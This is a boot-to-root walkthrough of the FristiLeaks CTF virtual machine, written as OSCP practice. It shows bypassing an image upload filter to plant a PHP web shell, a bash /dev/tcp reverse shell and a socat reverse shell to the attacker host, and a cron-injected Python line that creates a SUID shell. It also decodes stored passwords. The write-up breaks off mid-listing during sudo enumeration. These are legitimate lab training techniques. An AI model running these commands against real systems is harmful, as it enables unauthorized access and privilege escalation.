FristiLeaks Walkthrough (OSCP Prep)

Introduction
Fristileaks is a fairly straightforward CTF-like machine that is considered a good practice box while preparing for the OSCP. The goal is to get root
and read the flag file, and the focus is on enumeration.
We will need to read the source for clues, bypass a file upload filter, and even a little guesswork along the way. This write-up will walk through the Fristileaks box from boot to root.
Description
About:
Name: Fristileaks 1.3
Author: Ar0xA
Series: Fristileaks
Style: Enumeration/Follow the breadcrumbs
Goal: get root (uid 0) and read the flag file
Tester(s): dqi, barrebas
Difficulty: Basic
Description:
A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..
Before We Begin
If you don’t want the Fristileaks VM to use bridged networking, you will have to remove the network adapter and replace it with your own. Check out my post on changing the network configuration in Kioptrix for more information.
IMPORTANT: You must also make sure to set the MAC address correctly on the virtual machine. Otherwise, networking will not work. From the Fristileaks description:
VMware users will need to manually edit the VM’s MAC address to: 08:00:27:A5:A6:76
Tools
Host Discovery
We’ll use arp-scan
to locate the Fristileaks machine on our virtual network:
┌──(ori0n㉿kali)-[~/fristileaks]
└─$ sudo arp-scan -l
[sudo] password for ori0n:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:e2:a7:d8, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.1 00:50:56:c0:00:08 VMware, Inc.
10.0.10.2 00:50:56:fb:3b:27 VMware, Inc.
10.0.10.106 08:00:27:a5:a6:76 PCS Systemtechnik GmbH
10.0.10.199 00:50:56:e7:23:de VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.954 seconds (131.01 hosts/sec). 4 responded
We find it running at 10.0.10.106
. We can update /etc/hosts
to give the machine an alias:
10.0.10.106 fristileaks
Scanning and Enumeration
Perform the initial port scan with rustscan
:
┌──(ori0n㉿kali)-[~/fristileaks]
└─$ rustscan -a fristileaks -- -sV -oA scans/nmap-initial
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.106:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 03:07 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 03:07
Scanning 10.0.10.106 [2 ports]
Completed Ping Scan at 03:07, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 03:07
Scanning fristileaks (10.0.10.106) [1 port]
Discovered open port 80/tcp on 10.0.10.106
Completed Connect Scan at 03:07, 0.00s elapsed (1 total ports)
Initiating Service scan at 03:07
Scanning 1 service on fristileaks (10.0.10.106)
Completed Service scan at 03:07, 6.04s elapsed (1 service on 1 host)
NSE: Script scanning 10.0.10.106.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 03:07
Completed NSE at 03:07, 0.00s elapsed
Nmap scan report for fristileaks (10.0.10.106)
Host is up, received syn-ack (0.00071s latency).
Scanned at 2021-08-05 03:07:40 CDT for 6s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.49 seconds
We only find one open port. Let’s dig in.
Enumeration
Fire up a web browser and take a look at the site.
There doesn’t seem to be much here: a Twitter link, an image, and some shout-outs.
Checking the image directory reveals one more image, but nothing much of interest. Let’s have a look at robots.txt
:
User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer
None of these directories seem to lead us to anything interesting. gobuster
also gets us nowhere. It seems we will have to play a guessing game.
There certainly seem to be a lot of mentions of the word “fristi”. Let’s try that: http://fristileaks/fristi
.
We’ve found an entry point.
Authentication
We can try a few common attacks here:
- Common credentials
- SQL injection
No common credentials worked, and fuzzing with SQL injection payloads gets us nowhere. Let’s take a look at the source. There are a few interesting lines at the top of the source code:
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
-->
We have found a potential username, eezeepz
. Also, it looks like the image of Nelson is base 64 encoded, and there is more base 64 in a comment directly below the image:
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
Save this to a file (b64.txt
), and from a terminal, we’ll reverse it to the original data.
┌──(ori0n㉿kali)-[~/fristileaks/files]
└─$ base64 -d b64.txt
PNG
IHDRm4AsRGBgAMA
a pHYsodRIDATx^Qv a
zl&I%KH@f455VI
s~E"Gx#/r9E"Gx#/r9E"Gx#/&T3h#3j
~ݿ~2ZeLZZUW$oy{K}fP9{6XKKL>a%ZD
'*%&RxgյV3]#qpzR\Zb:å0V-]յJH9r(I5seGtXq"k6j 6
FnT3Wגߞj g=YxibѢꍗjH-YJH5ӅxD7(
ߠMI6D3
MJH5ӅZl3GYdMo6TrR
/-5ӅJI,i9lѢYD![
otWK}fh}d [T5!Ռuɘ-ӇӋ,C-GR,kj\g}<g.Ռuɘ-V_uZ#|_AӜ'cjƸdЖJ{<7
9C}fP4p]OI5c\2hKGtb#* :RJjƺ$#+o`L*9I:,>U騢"3jƼdȖ#۞j)'zUqF>LZ[Z4LZR}fˑS;|f.-hFEZT_>sda6(.U^n|/ZZ=#;tT_>Trd+?87j-}dRt!#/r9E"Gx#/r9E"Gx#/r9E"Gx#/r9EZ8rqIENDB`
┌──(ori0n㉿kali)-[~/fristileaks/files]
└─$ base64 -d b64.txt > img.png
It looks like PNG data, so we save the output to a .png
file and open it in an image viewer.
Maybe this is a password? If we try it using the eezeepz
username found in the source code, we get in.
It looks like we’ve found an upload panel. I wonder what we could do with this…
Getting Code Execution
Clicking the upload file
link, we find what appears to be an image upload panel. Perhaps we can get a PHP script uploaded?
We will need a simple PHP shell. We could spin a simple one-liner ourselves, but I’ll use a script included with Kali:
┌──(ori0n㉿kali)-[~/fristileaks]
└─$ locate -r 'webshells.*php'
/usr/share/webshells/php
/usr/share/webshells/php/findsocket
/usr/share/webshells/php/php-backdoor.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/qsd-php-backdoor.php
/usr/share/webshells/php/simple-backdoor.php
/usr/share/webshells/php/findsocket/findsock.c
/usr/share/webshells/php/findsocket/php-findsock-shell.php
┌──(ori0n㉿kali)-[~/fristileaks]
└─$ cp /usr/share/webshells/php/simple-backdoor.php .
Now we’ll try to upload this file directly, but it looks like the application will have none of it:
Sorry, is not a valid file. Only allowed are: png,jpg,gif
Sorry, file not uploaded
Somehow, it is validating whether the file is a “valid” image file. Let’s see if we can bypass this check.
Fire up Burp Suite, make sure Intercept is on, and retry the upload. Burp will intercept the request.
Press Ctrl-R to send the request to Repeater, then toggle Intercept off to allow the request to pass through.
Move to Repeater, and take a look at the request body. There are a couple of methods we could try to use to bypass the filter. The simplest way for a first attempt is to append .png
to the filename
parameter:
It looks like we have successfully uploaded the script to the /uploads
directory. With any luck, it will not have changed the name on us, and the server will execute the PHP despite the .png
extension. Navigate to http://fristileaks/fristi/uploads/simple-backdoor.php.png
:
We’ve got our web shell. Let’s move to Burp to make things a bit simpler. Locate the request in the HTTP history
tab under the Proxy
tab, right-click, and select Send to Repeater
. Now, from the Repeater tab, let’s test out our shell.
Now we can leverage our web shell to spawn a Bash shell. Netcat doesn’t appear to be installed on the victim, so we can try a simple Bash reverse shell:
bash -i > /dev/tcp/10.0.10.10/4444 0>&1 2>&1
Start a listener on the attack box and send the request in Burp.
And we’re in!
Upgrading our Shell with Socat
These vanilla netcat shells are annoying, so let’s upgrade to a full TTY shell. Socat is an excellent way to do this. Before we can use it on the target machine, however, we need to copy it over.
We won’t want to try to compile socat on the target, so we’ll need a static binary. Fortunately, some great people have made available entire collections of useful static Linux binaries, including socat
. We’ll download a socat binary from the Releases
page and copy it over to the victim.
From the attacker machine, run:
┌──(ori0n㉿kali)-[~/tools/linux/x64]
└─$ mv ~/Downloads/socat-1.7.4.1-x86_64 socat
┌──(ori0n㉿kali)-[~/tools/linux/x64]
└─$ updog -p9999
[+] Serving /home/ori0n/tools/linux/x64...
* Running on http://0.0.0.0:9999/ (Press CTRL+C to quit)
Then, from the victim:
bash-4.1$ cd /tmp
cd /tmp
bash-4.1$ wget kali:9999/socat
wget kali:9999/socat
--2021-08-06 07:02:21-- http://kali:9999/socat
Resolving kali... 10.0.10.10
Connecting to kali|10.0.10.10|:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3046088 (2.9M) [text/plain]
Saving to: `socat'
0K .......... .......... .......... .......... .......... 1% 3.76M 1s
50K .......... .......... .......... .......... .......... 3% 103M 0s
100K .......... .......... .......... .......... .......... 5% 43.0M 0s
150K .......... .......... .......... .......... .......... 6% 28.2M 0s
200K .......... .......... .......... .......... .......... 8% 61.9M 0s
250K .......... .......... .......... .......... .......... 10% 205M 0s
300K .......... .......... .......... .......... .......... 11% 16.5M 0s
350K .......... .......... .......... .......... .......... 13% 40.3M 0s
400K .......... .......... .......... .......... .......... 15% 39.4M 0s
450K .......... .......... .......... .......... .......... 16% 24.6M 0s
500K .......... .......... .......... .......... .......... 18% 42.3M 0s
550K .......... .......... .......... .......... .......... 20% 38.1M 0s
600K .......... .......... .......... .......... .......... 21% 40.8M 0s
650K .......... .......... .......... .......... .......... 23% 41.5M 0s
700K .......... .......... .......... .......... .......... 25% 49.3M 0s
750K .......... .......... .......... .......... .......... 26% 138M 0s
800K .......... .......... .......... .......... .......... 28% 83.0M 0s
850K .......... .......... .......... .......... .......... 30% 481M 0s
900K .......... .......... .......... .......... .......... 31% 13.3M 0s
950K .......... .......... .......... .......... .......... 33% 484M 0s
1000K .......... .......... .......... .......... .......... 35% 22.9M 0s
1050K .......... .......... .......... .......... .......... 36% 20.4M 0s
1100K .......... .......... .......... .......... .......... 38% 516M 0s
1150K .......... .......... .......... .......... .......... 40% 12.3M 0s
1200K .......... .......... .......... .......... .......... 42% 17.9M 0s
1250K .......... .......... .......... .......... .......... 43% 602M 0s
1300K .......... .......... .......... .......... .......... 45% 12.3M 0s
1350K .......... .......... .......... .......... .......... 47% 31.4M 0s
1400K .......... .......... .......... .......... .......... 48% 12.0M 0s
1450K .......... .......... .......... .......... .......... 50% 418M 0s
1500K .......... .......... .......... .......... .......... 52% 16.1M 0s
1550K .......... .......... .......... .......... .......... 53% 1.74M 0s
1600K .......... .......... .......... .......... .......... 55% 74.4M 0s
1650K .......... .......... .......... .......... .......... 57% 308M 0s
1700K .......... .......... .......... .......... .......... 58% 109M 0s
1750K .......... .......... .......... .......... .......... 60% 62.4M 0s
1800K .......... .......... .......... .......... .......... 62% 47.2M 0s
1850K .......... .......... .......... .......... .......... 63% 60.7M 0s
1900K .......... .......... .......... .......... .......... 65% 36.5M 0s
1950K .......... .......... .......... .......... .......... 67% 86.7M 0s
2000K .......... .......... .......... .......... .......... 68% 62.5M 0s
2050K .......... .......... .......... .......... .......... 70% 56.4M 0s
2100K .......... .......... .......... .......... .......... 72% 11.6M 0s
2150K .......... .......... .......... .......... .......... 73% 104M 0s
2200K .......... .......... .......... .......... .......... 75% 1.63M 0s
2250K .......... .......... .......... .......... .......... 77% 25.3M 0s
2300K .......... .......... .......... .......... .......... 78% 23.7M 0s
2350K .......... .......... .......... .......... .......... 80% 52.4M 0s
2350K .......... .......... .......... .......... .......... 80% 52.4M 0s
2400K .......... .......... .......... .......... .......... 82% 35.9M 0s
2450K .......... .......... .......... .......... .......... 84% 52.3M 0s
2500K .......... .......... .......... .......... .......... 85% 64.3M 0s
2550K .......... .......... .......... .......... .......... 87% 36.9M 0s
2600K .......... .......... .......... .......... .......... 89% 40.1M 0s
2650K .......... .......... .......... .......... .......... 90% 45.6M 0s
2700K .......... .......... .......... .......... .......... 92% 38.1M 0s
2750K .......... .......... .......... .......... .......... 94% 76.1M 0s
2800K .......... .......... .......... .......... .......... 95% 41.5M 0s
2850K .......... .......... .......... .......... .......... 97% 49.4M 0s
2900K .......... .......... .......... .......... .......... 99% 77.1M 0s
2950K .......... .......... .... 100% 56.4M=0.1s
2021-08-06 07:02:22 (19.8 MB/s) - `socat' saved [3046088/3046088]
bash-4.1$ chmod +x socat
chmod +x socat
We now have the socat
binary located at /tmp/socat-2.0.0-b8/socat
. Let’s upgrade our shell.
GTFOBins has a great cheat sheet on getting a socat reverse shell. From our attacker box, run:
┌──(ori0n㉿kali)-[~/tools/linux/x64]
└─$ socat file:`tty`,rawer tcp-listen:1337,reuseaddr
And now, on the victim:
bash-4.1$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.10.10:1337
We now have a fully working TTY shell with history and tab completion. And Ctrl-C won’t kill our shell!
Privilege Escalation
We aren’t going to be able to do much with the apache
account, so let’s get on with some privesc. First, let’s check out what users exist on the system:
bash-4.1$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin
It looks like there are four user accounts: eezeepz
, admin
, fristigod
, and fristi
. Do any of them belong to any interesting groups? Let’s check /etc/groups
.
bash-4.1$ cat /etc/group
root:x:0:
bin:x:1:bin,daemon
daemon:x:2:bin,daemon
sys:x:3:bin,adm
adm:x:4:adm,daemon
tty:x:5:
disk:x:6:
lp:x:7:daemon
mem:x:8:
kmem:x:9:
wheel:x:10:
mail:x:12:mail,postfix
uucp:x:14:
man:x:15:
games:x:20:
gopher:x:30:
video:x:39:
dip:x:40:
ftp:x:50:
lock:x:54:
audio:x:63:
nobody:x:99:
users:x:100:
floppy:x:19:
vcsa:x:69:
utmp:x:22:
utempter:x:35:
cdrom:x:11:
tape:x:33:
dialout:x:18:
saslauth:x:76:
postdrop:x:90:
postfix:x:89:
fuse:x:499:
sshd:x:74:
apache:x:48:
mysql:x:27:
vboxsf:x:498:
eezeepz:x:500:
admin:x:501:
fristigod:x:502:fristi
So fristigod
belongs to the fristi
group. Interesting. This means it is likely that fristi
is our target user in order to escalate to root
. But there may be a few stops along the way…
Getting admin
We’ll enumerate the /home
directory to look for any significant readable files::
bash-4.1$ ls -alR /home
/home:
total 28
drwxr-xr-x. 5 root root 4096 Nov 19 2015 .
dr-xr-xr-x. 22 root root 4096 Aug 4 23:01 ..
drwx------. 2 admin admin 4096 Nov 19 2015 admin
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4096 Nov 19 2015 fristigod
ls: cannot open directory /home/admin: Permission denied
/home/eezeepz:
total 2608
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 .
drwxr-xr-x. 5 root root 4096 Nov 19 2015 ..
drwxrwxr-x. 2 eezeepz eezeepz 4096 Nov 17 2015 .Old
-rw-r--r--. 1 eezeepz eezeepz 18 Sep 22 2015 .bash_logout
-rw-r--r--. 1 eezeepz eezeepz 176 Sep 22 2015 .bash_profile
-rw-r--r--. 1 eezeepz eezeepz 124 Sep 22 2015 .bashrc
drwxrwxr-x. 2 eezeepz eezeepz 4096 Nov 17 2015 .gnome
drwxrwxr-x. 2 eezeepz eezeepz 4096 Nov 17 2015 .settings
-rwxr-xr-x. 1 eezeepz eezeepz 24376 Nov 17 2015 MAKEDEV
-rwxr-xr-x. 1 eezeepz eezeepz 33559 Nov 17 2015 cbq
-rwxr-xr-x. 1 eezeepz eezeepz 6976 Nov 17 2015 cciss_id
-rwxr-xr-x. 1 eezeepz eezeepz 56720 Nov 17 2015 cfdisk
-rwxr-xr-x. 1 eezeepz eezeepz 25072 Nov 17 2015 chcpu
-rwxr-xr-x. 1 eezeepz eezeepz 52936 Nov 17 2015 chgrp
-rwxr-xr-x. 1 eezeepz eezeepz 31800 Nov 17 2015 chkconfig
-rwxr-xr-x. 1 eezeepz eezeepz 48712 Nov 17 2015 chmod
-rwxr-xr-x. 1 eezeepz eezeepz 53640 Nov 17 2015 chown
-rwxr-xr-x. 1 eezeepz eezeepz 44528 Nov 17 2015 clock
-rwxr-xr-x. 1 eezeepz eezeepz 4808 Nov 17 2015 consoletype
-rwxr-xr-x. 1 eezeepz eezeepz 129992 Nov 17 2015 cpio
-rwxr-xr-x. 1 eezeepz eezeepz 38608 Nov 17 2015 cryptsetup
-rwxr-xr-x. 1 eezeepz eezeepz 5344 Nov 17 2015 ctrlaltdel
-rwxr-xr-x. 1 eezeepz eezeepz 41704 Nov 17 2015 cut
-rwxr-xr-x. 1 eezeepz eezeepz 14832 Nov 17 2015 halt
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17 2015 hostname
-rwxr-xr-x. 1 eezeepz eezeepz 44528 Nov 17 2015 hwclock
-rwxr-xr-x. 1 eezeepz eezeepz 7920 Nov 17 2015 kbd_mode
-rwxr-xr-x. 1 eezeepz eezeepz 11576 Nov 17 2015 kill
-rwxr-xr-x. 1 eezeepz eezeepz 16472 Nov 17 2015 killall5
-rwxr-xr-x. 1 eezeepz eezeepz 32928 Nov 17 2015 kpartx
-rwxr-xr-x. 1 eezeepz eezeepz 11464 Nov 17 2015 nameif
-rwxr-xr-x. 1 eezeepz eezeepz 171784 Nov 17 2015 nano
-rwxr-xr-x. 1 eezeepz eezeepz 5512 Nov 17 2015 netreport
-rwxr-xr-x. 1 eezeepz eezeepz 123360 Nov 17 2015 netstat
-rwxr-xr-x. 1 eezeepz eezeepz 13892 Nov 17 2015 new-kernel-pkg
-rwxr-xr-x. 1 eezeepz eezeepz 25208 Nov 17 2015 nice
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17 2015 nisdomainname
-rwxr-xr-x. 1 eezeepz eezeepz 4736 Nov 17 2015 nologin
-r--r--r--. 1 eezeepz eezeepz 514 Nov 18 2015 notes.txt
-rwxr-xr-x. 1 eezeepz eezeepz 390616 Nov 17 2015 tar
-rwxr-xr-x. 1 eezeepz eezeepz 11352 Nov 17 2015 taskset
-rwxr-xr-x. 1 eezeepz eezeepz 249000 Nov 17 2015 tc
-rwxr-xr-x. 1 eezeepz eezeepz 51536 Nov 17 2015 telinit
-rwxr-xr-x. 1 eezeepz eezeepz 47928 Nov 17 2015 touch
-rwxr-xr-x. 1 eezeepz eezeepz 11440 Nov 17 2015 tracepath
-rwxr-xr-x. 1 eezeepz eezeepz 12304 Nov 17 2015 tracepath6
-rwxr-xr-x. 1 eezeepz eezeepz 21112 Nov 17 2015 true
-rwxr-xr-x. 1 eezeepz eezeepz 35608 Nov 17 2015 tune2fs
-rwxr-xr-x. 1 eezeepz eezeepz 15410 Nov 17 2015 weak-modules
-rwxr-xr-x. 1 eezeepz eezeepz 12216 Nov 17 2015 wipefs
-rwxr-xr-x. 1 eezeepz eezeepz 504400 Nov 17 2015 xfs_repair
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17 2015 ypdomainname
-rwxr-xr-x. 1 eezeepz eezeepz 62 Nov 17 2015 zcat
-rwxr-xr-x. 1 eezeepz eezeepz 47520 Nov 17 2015 zic
/home/eezeepz/.Old:
total 16
drwxrwxr-x. 2 eezeepz eezeepz 4096 Nov 17 2015 .
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 ..
/home/eezeepz/.gnome:
total 16
drwxrwxr-x. 2 eezeepz eezeepz 4096 Nov 17 2015 .
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 ..
/home/eezeepz/.settings:
total 16
drwxrwxr-x. 2 eezeepz eezeepz 4096 Nov 17 2015 .
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 ..
ls: cannot open directory /home/fristigod: Permission denied
We can see a lot of files in the eezeepz
directory – mostly binaries. There is a readable text file though. Let’s check it out:
bash-4.1$ cat ~eezeepz/notes.txt
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
So the admin
account uses a cron job to run a script /tmp/runthis
every minute. There are restrictions in place for the commands within the script, however: they must be in /usr/bin
or in /home/admin
. Looking through the contents of /usr/bin
for any useful programs, we find a gem: /usr/bin/python
.
Perhaps we can use Python to execute any commands we wish with admin
privileges? Let’s test this out. Create a file runthis
in the /tmp
directory with the following script:
/usr/bin/python -c "import os; os.system('cp /bin/sh /tmp/pwn; chmod 4755 /tmp/pwn')"
Now wait for the next minute to turn over, then see if we have our new file:
bash-4.1$ ls -l
total 1440
-rw-r--r-- 1 admin admin 97 Aug 5 00:31 cronresult
-rwsr-xr-x 1 admin admin 906152 Aug 5 00:31 pwn
-rw-r--r-- 1 apache apache 86 Aug 5 00:30 runthis
drwxr-xr-x 2 apache apache 4096 Jun 16 2015 socat-2.0.0-b8
-rw-r--r-- 1 apache apache 549787 Aug 1 14:02 socat-2.0.0-b8.tar.gz
Bingo! We should now have a SUID shell. Don’t forget to use the -p
option to retain the setuid privileges.
bash-4.1$ ./pwn -p
pwn-4.1$ id
uid=48(apache) gid=48(apache) euid=501(admin) groups=48(apache)
On to fristigod
While the admin
account sound powerful, we’ll still don’t have his password, and it seems he doesn’t have the privileges we need to get root. Let’s enumerate his home directory:
pwn-4.1$ cd /home/admin
pwn-4.1$ ls -la
total 652
drwx------. 2 admin admin 4096 Nov 19 2015 .
drwxr-xr-x. 5 root root 4096 Nov 19 2015 ..
-rw-r--r--. 1 admin admin 18 Sep 22 2015 .bash_logout
-rw-r--r--. 1 admin admin 176 Sep 22 2015 .bash_profile
-rw-r--r--. 1 admin admin 124 Sep 22 2015 .bashrc
-rwxr-xr-x 1 admin admin 45224 Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 48712 Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin admin 90544 Nov 18 2015 df
-rwxr-xr-x 1 admin admin 24136 Nov 18 2015 echo
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 85304 Nov 18 2015 ps
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt
Of interest are the Python script and the two .txt
files. Check them out:
mVGZ3O3omkJLmy2pcuTq
=RFn0AKnlMHMPIzpyuTI0ITG
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
It looks like two encrypted passwords and the script that was used to encrypt them. Let’s break down this algorithm.
Given an input string (password), we:
- Encode the string using base 64
- Reverse the encoded string
- Perform a rot13 on the reversed encoded string
We can reverse this encryption with a Bash one-liner. (Credit to exploitshit for the tr
rot13 trick.
pwn-4.1$ cat cryptedpass.txt | rev | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' | base64 -d; echo
thisisalsopw123
pwn-4.1$ cat whoisyourgodnow.txt | rev | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' | base64 -d; echo
LetThereBeFristi!
These look like passwords to me! We can verify with su
:
pwn-4.1$ su admin
Password: [thisisalsopw123]
[admin@localhost ~]$ su fristigod
Password: [LetThereBeFristi!]
bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
We’ve discovered two passwords, and we have access to the fristigod
account. I wonder what privileges he may have…
bash-4.1$ sudo -l
[sudo] password for fristigod:
Matching Defaults entries for fristigod on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom
Interesting! Let’s check out this doCom
program.
bash-4.1$ cd /var/fristigod/.secret_admin_stuff/
bash-4.1$ ls -l
total 8
